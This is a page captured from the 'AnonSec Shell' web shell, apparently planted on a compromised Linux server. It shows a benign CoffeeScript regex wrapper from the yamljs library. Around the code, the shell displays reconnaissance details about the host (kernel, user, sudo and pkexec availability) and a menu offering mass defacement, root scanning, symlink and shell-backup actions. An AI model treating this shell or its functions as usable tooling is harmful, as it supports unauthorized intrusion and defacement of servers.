AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.79.64 / Your IP : 104.23.243.117 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /lib/node_modules/pm2/node_modules/yamljs/src/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /lib/node_modules/pm2/node_modules/yamljs/src//Pattern.coffee

# Pattern is a zero-conflict wrapper extending RegExp features
# in order to make YAML parsing regex more expressive.
#
class Pattern

    # @property [RegExp] The RegExp instance
    regex:          null

    # @property [String] The raw regex string
    rawRegex:       null

    # @property [String] The cleaned regex string (used to create the RegExp instance)
    cleanedRegex:   null

    # @property [Object] The dictionary mapping names to capturing bracket numbers
    mapping:        null

    # Constructor
    #
    # @param [String] rawRegex The raw regex string defining the pattern
    #
    constructor: (rawRegex, modifiers = '') ->
        cleanedRegex = ''
        len = rawRegex.length
        mapping = null

        # Cleanup raw regex and compute mapping
        capturingBracketNumber = 0
        i = 0
        while i < len
            _char = rawRegex.charAt(i)
            if _char is '\\'
                # Ignore next character
                cleanedRegex += rawRegex[i..i+1]
                i++
            else if _char is '('
                # Increase bracket number, only if it is capturing
                if i < len - 2
                    part = rawRegex[i..i+2]
                    if part is '(?:'
                        # Non-capturing bracket
                        i += 2
                        cleanedRegex += part
                    else if part is '(?<'
                        # Capturing bracket with possibly a name
                        capturingBracketNumber++
                        i += 2
                        name = ''
                        while i + 1 < len
                            subChar = rawRegex.charAt(i + 1)
                            if subChar is '>'
                                cleanedRegex += '('
                                i++
                                if name.length > 0
                                    # Associate a name with a capturing bracket number
                                    mapping ?= {}
                                    mapping[name] = capturingBracketNumber
                                break
                            else
                                name += subChar

                            i++
                    else
                        cleanedRegex += _char
                        capturingBracketNumber++
                else
                    cleanedRegex += _char
            else
                cleanedRegex += _char

            i++

        @rawRegex = rawRegex
        @cleanedRegex = cleanedRegex
        @regex = new RegExp @cleanedRegex, 'g'+modifiers.replace('g', '')
        @mapping = mapping


    # Executes the pattern's regex and returns the matching values
    #
    # @param [String] str The string to use to execute the pattern
    #
    # @return [Array] The matching values extracted from capturing brackets or null if nothing matched
    #
    exec: (str) ->
        @regex.lastIndex = 0
        matches = @regex.exec str

        if not matches?
            return null

        if @mapping?
            for name, index of @mapping
                matches[name] = matches[index]

        return matches


    # Tests the pattern's regex
    #
    # @param [String] str The string to use to test the pattern
    #
    # @return [Boolean] true if the string matched
    #
    test: (str) ->
        @regex.lastIndex = 0
        return @regex.test str


    # Replaces occurences matching with the pattern's regex with replacement
    #
    # @param [String] str The source string to perform replacements
    # @param [String] replacement The string to use in place of each replaced occurence.
    #
    # @return [String] The replaced string
    #
    replace: (str, replacement) ->
        @regex.lastIndex = 0
        return str.replace @regex, replacement


    # Replaces occurences matching with the pattern's regex with replacement and
    # get both the replaced string and the number of replaced occurences in the string.
    #
    # @param [String] str The source string to perform replacements
    # @param [String] replacement The string to use in place of each replaced occurence.
    # @param [Integer] limit The maximum number of occurences to replace (0 means infinite number of occurences)
    #
    # @return [Array] A destructurable array containing the replaced string and the number of replaced occurences. For instance: ["my replaced string", 2]
    #
    replaceAll: (str, replacement, limit = 0) ->
        @regex.lastIndex = 0
        count = 0
        while @regex.test(str) and (limit is 0 or count < limit)
            @regex.lastIndex = 0
            str = str.replace @regex, replacement
            count++
        
        return [str, count]


module.exports = Pattern

Anon7 - 2022
AnonSec Team